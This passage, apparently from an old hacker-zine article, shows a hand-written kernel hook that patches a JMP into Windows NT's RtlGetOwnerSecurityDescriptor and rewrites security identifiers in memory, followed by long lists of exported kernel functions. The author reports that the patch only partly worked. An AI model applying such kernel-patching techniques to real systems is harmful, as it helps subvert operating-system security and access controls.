ntoskrnl!ObCheckCreateObjectAccess+0149 at 0008:801340E1 (SS:EBP 0010:F8CDFC80)
|
||
ntoskrnl!ObQueryObjectAuditingByHandle+1BFB at 0008:8018F413 (SS:EBP
|
||
0010:F8CDFC6C)
|
||
=> ntoskrnl!RtlGetOwnerSecurityDescriptor at 0008:80184AB0 (SS:EBP
|
||
0010:F8CDFC4C)
|
||
|
||
|
||
I began by trying to patch this call. I decided to try and detect the Owner
|
||
SID of BUILTIN\Administrators (1-5-20-220) and change it to BUILTIN\Users
|
||
(1-5-20-221) on the fly. The following code is what I patched in:
|
||
|
||
First, I located a region of memory where I could dump some extra code. For
|
||
testing, I chose the region at 08:8000F2B0. I found it to be initially all
|
||
zeroed out, so I figured it safe for a while. Next, I assembled some
|
||
instructions into this new area:
|
||
|
||
8000F2B0: push ebx
|
||
mov ebx, [eax + 08]
|
||
cmp ebx, 20 ; check the 20 in 1-5-20-XXX
|
||
nop ; nop's are leftovers from
|
||
; debugging
|
||
nop
|
||
jnz 8000f2c2 ; skip it if we aren't looking
|
||
; at a 20
|
||
mov word ptr [eax+0c], 221 ; write over old RID w/ new RID
|
||
; of 221
|
||
nop
|
||
8000f2c2: pop ebx
|
||
nop
|
||
mov esi, [ebp + 0c] ; the two instructions
|
||
mov [esi], eax ; that I nuked to make the
|
||
; initial jump
|
||
jmp 80184ae1
|
||
|
||
Now, notice the last two instructions prior to the jump back to NT. To make
|
||
this call, I had to install a JMP instruction into the NT subroutine itself.
|
||
Doing that nuked two actual instructions, as follows:
|
||
|
||
Original code:
|
||
|
||
80184ADC mov esi, [ebp+arg_4];<**===--- PATCHING A JUMP
|
||
; HERE
|
||
80184ADF mov [esi], eax
|
||
80184AE1 mov ax, [edx+2] ; some sort of flags
|
||
; 01 00 >04< 80 5C
|
||
80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be
|
||
; filled in with flags data
|
||
|
||
After patch:
|
||
|
||
80184ADC JMP 8000F2B0 ; Note: this nuked two real
|
||
; instructions...
|
||
|
||
80184AE1 mov ax, [edx+2] ; some sort of flags
|
||
; 01 00 >04< 80 5C
|
||
|
||
80184AE5 mov edx, [ebp+arg_8]; argument 3, which is to be
|
||
; filled in with flags data
|
||
|
||
So, to correct this, the code that I am jumping to runs the two missing
|
||
instructions:
|
||
|
||
mov esi, [ebp + 0c] ; the two instructions
|
||
mov [esi], eax ; that I nuked to make the
|
||
; initial jump
|
||
|
||
Alas, all is good. I tested this patch for quite some time without a problem.
|
||
To verify that it was working, I checked the memory during the patch, and sure
|
||
enough, it was turning SID 1-5-20-220 into SID 1-5-20-221. However, as with
|
||
all projects, I was not out of the water yet. When getting the security
|
||
properties for a file, the Owner still shows up as Administrators. This patch
|
||
is clearly called during such a query, as I have set breakpoints. However,
|
||
the displayed OWNER is still administrators, even though I am patching the
|
||
SID in memory. Further investigation has revealed that this routine isn't
|
||
called to check access to a file object, but is called for opening process
|
||
tokens, creating processes, and creating threads. Perhaps someone could shed
|
||
some more light on this? Nonetheless, the methods used in this patch can be
|
||
re-purposed for almost any Kernel routine, so I hope it has been a useful
|
||
journey.
|
||
|
||
|
||
Appendix A: Exported functions for the SRM:
|
||
-------------------------------------------
|
||
|
||
SeAccessCheck
|
||
SeAppendPrivileges
|
||
SeAssignSecurity
|
||
SeAuditingFileEvents
|
||
SeAuditingFileOrGlobalEvents
|
||
SeCaptureSecurityDescriptor
|
||
SeCaptureSubjectContext
|
||
SeCloseObjectAuditAlarm
|
||
SeCreateAccessState
|
||
SeCreateClientSecurity
|
||
SeDeassignSecurity
|
||
SeDeleteAccessState
|
||
SeDeleteObjectAuditAlarm
|
||
SeExports
|
||
SeFreePrivileges
|
||
SeImpersonateClient
|
||
SeLockSubjectContext
|
||
SeMarkLogonSessionForTerminationNotification
|
||
SeOpenObjectAuditAlarm
|
||
SeOpenObjectForDeleteAuditAlarm
|
||
SePrivilegeCheck
|
||
SePrivilegeObjectAuditAlarm
|
||
SePublicDefaultDacl
|
||
SeQueryAuthenticationIdToken
|
||
SeQuerySecurityDescriptorInfo
|
||
SeRegisterLogonSessionTerminatedRoutine
|
||
SeReleaseSecurityDescriptor
|
||
SeReleaseSubjectContext
|
||
SeSetAccessStateGenericMapping
|
||
SeSetSecurityDescriptorInfo
|
||
SeSinglePrivilegeCheck
|
||
SeSystemDefaultDacl
|
||
SeTokenImpersonationLevel
|
||
SeTokenType
|
||
SeUnlockSubjectContext
|
||
SeUnregisterLogonSessionTerminatedRoutine
|
||
SeValidSecurityDescriptor
|
||
|
||
Here are the exported functions for the Object Manager:
|
||
ObAssignSecurity
|
||
ObCheckCreateObjectAccess
|
||
ObCheckObjectAccess
|
||
ObCreateObject
|
||
ObDereferenceObject
|
||
ObfDereferenceObject
|
||
ObFindHandleForObject
|
||
ObfReferenceObject
|
||
ObGetObjectPointerCount
|
||
ObGetObjectSecurity
|
||
ObInsertObject
|
||
ObMakeTemporaryObject
|
||
ObOpenObjectByName
|
||
ObOpenObjectByPointer
|
||
ObQueryNameString
|
||
ObQueryObjectAuditingByHandle
|
||
ObReferenceObjectByHandle
|
||
ObReferenceObjectByName
|
||
ObReferenceObjectByPointer
|
||
ObReleaseObjectSecurity
|
||
ObSetSecurityDescriptorInfo
|
||
|
||
Here are the exported functions for the IO Manager:
|
||
IoAcquireCancelSpinLock
|
||
IoAcquireVpbSpinLock
|
||
IoAdapterObjectType
|
||
IoAllocateAdapterChannel
|
||
IoAllocateController
|
||
IoAllocateErrorLogEntry
|
||
IoAllocateIrp
|
||
IoAllocateMdl
|
||
IoAssignResources
|
||
IoAttachDevice
|
||
IoAttachDeviceByPointer
|
||
IoAttachDeviceToDeviceStack
|
||
IoBuildAsynchronousFsdRequest
|
||
IoBuildDeviceIoControlRequest
|
||
IoBuildPartialMdl
|
||
IoBuildSynchronousFsdRequest
|
||
IoCallDriver
|
||
IoCancelIrp
|
||
IoCheckDesiredAccess
|
||
IoCheckEaBufferValidity
|
||
IoCheckFunctionAccess
|
||
IoCheckShareAccess
|
||
IoCompleteRequest
|
||
IoConnectInterrupt
|
||
IoCreateController
|
||
IoCreateDevice
|
||
IoCreateFile
|
||
IoCreateNotificationEvent
|
||
IoCreateStreamFileObject
|
||
IoCreateSymbolicLink
|
||
IoCreateSynchronizationEvent
|
||
IoCreateUnprotectedSymbolicLink
|
||
IoDeleteController
|
||
IoDeleteDevice
|
||
IoDeleteSymbolicLink
|
||
IoDetachDevice
|
||
IoDeviceHandlerObjectSize
|
||
IoDeviceHandlerObjectType
|
||
IoDeviceObjectType
|
||
IoDisconnectInterrupt
|
||
IoDriverObjectType
|
||
IoEnqueueIrp
|
||
IoFastQueryNetworkAttributes
|
||
IofCallDriver
|
||
IofCompleteRequest
|
||
IoFileObjectType
|
||
IoFreeController
|
||
IoFreeIrp
|
||
IoFreeMdl
|
||
IoGetAttachedDevice
|
||
IoGetBaseFileSystemDeviceObject
|
||
IoGetConfigurationInformation
|
||
IoGetCurrentProcess
|
||
IoGetDeviceObjectPointer
|
||
IoGetDeviceToVerify
|
||
IoGetFileObjectGenericMapping
|
||
IoGetInitialStack
|
||
IoGetRelatedDeviceObject
|
||
IoGetRequestorProcess
|
||
IoGetStackLimits
|
||
IoGetTopLevelIrp
|
||
IoInitializeIrp
|
||
IoInitializeTimer
|
||
IoIsOperationSynchronous
|
||
IoIsSystemThread
|
||
IoMakeAssociatedIrp
|
||
IoOpenDeviceInstanceKey
|
||
IoPageRead
|
||
IoQueryDeviceDescription
|
||
IoQueryDeviceEnumInfo
|
||
IoQueryFileInformation
|
||
IoQueryVolumeInformation
|
||
IoQueueThreadIrp
|
||
IoRaiseHardError
|
||
IoRaiseInformationalHardError
|
||
IoReadOperationCount
|
||
IoReadTransferCount
|
||
IoRegisterDriverReinitialization
|
||
IoRegisterFileSystem
|
||
IoRegisterFsRegistrationChange
|
||
IoRegisterShutdownNotification
|
||
IoReleaseCancelSpinLock
|
||
IoReleaseVpbSpinLock
|
||
IoRemoveShareAccess
|
||
IoReportHalResourceUsage
|
||
IoReportResourceUsage
|
||
IoSetDeviceToVerify
|
||
IoSetHardErrorOrVerifyDevice
|
||
IoSetInformation
|
||
IoSetShareAccess
|
||
IoSetThreadHardErrorMode
|
||
IoSetTopLevelIrp
|
||
IoStartNextPacket
|
||
IoStartNextPacketByKey
|
||
IoStartPacket
|
||
IoStartTimer
|
||
IoStatisticsLock
|
||
IoStopTimer
|
||
IoSynchronousPageWrite
|
||
IoThreadToProcess
|
||
IoUnregisterFileSystem
|
||
IoUnregisterFsRegistrationChange
|
||
IoUnregisterShutdownNotification
|
||
IoUpdateShareAccess
|
||
IoVerifyVolume
|
||
IoWriteErrorLogEntry
|
||
IoWriteOperationCount
|
||
IoWriteTransferCount
|
||
|
||
Here are the exported functions for the LSA:
|
||
LsaCallAuthenticationPackage
|
||
LsaDeregisterLogonProcess
|
||
LsaFreeReturnBuffer
|
||
LsaLogonUser
|
||
LsaLookupAuthenticationPackage
|
||
LsaRegisterLogonProcess
|
||
|
||
The only imports are from the HAL DLL:
|
||
HAL.ExAcquireFastMutex
|
||
HAL.ExReleaseFastMutex
|
||
HAL.ExTryToAcquireFastMutex
|
||
HAL.HalAllocateAdapterChannel
|
||
HAL.HalBeginSystemInterrupt
|
||
HAL.HalClearSoftwareInterrupt
|
||
HAL.HalDisableSystemInterrupt
|
||
HAL.HalDisplayString
|
||
HAL.HalEnableSystemInterrupt
|
||
HAL.HalEndSystemInterrupt
|
||
HAL.HalGetEnvironmentVariable
|
||
HAL.HalHandleNMI
|
||
HAL.HalProcessorIdle
|
||
HAL.HalQueryDisplayParameters
|
||
HAL.HalRequestSoftwareInterrupt
|
||
HAL.HalReturnToFirmware
|
||
HAL.HalSetEnvironmentVariable
|
||
HAL.HalSetRealTimeClock
|
||
HAL.HalStartProfileInterrupt
|
||
HAL.HalStopProfileInterrupt
|
||
HAL.HalSystemVectorDispatchEntry
|
||
HAL.KdPortPollByte
|
||
HAL.KdPortRestore
|
||
HAL.KdPortSave
|
||
HAL.KeGetCurrentIrql
|
||
HAL.KeLowerIrql
|
||
HAL.KeRaiseIrql
|
||
HAL.KeRaiseIrqlToDpcLevel
|
||
HAL.KeRaiseIrqlToSynchLevel
|
||
HAL.KfAcquireSpinLock
|
||
HAL.KfLowerIrql
|
||
HAL.KfRaiseIrql
|
||
HAL.KfReleaseSpinLock
|
||
HAL.READ_PORT_UCHAR
|
||
HAL.READ_PORT_ULONG
|
||
HAL.READ_PORT_USHORT
|
||
HAL.WRITE_PORT_UCHAR
|
||
HAL.WRITE_PORT_ULONG
|
||
HAL.WRITE_PORT_USHORT
|
||
|
||
----[ EOF
|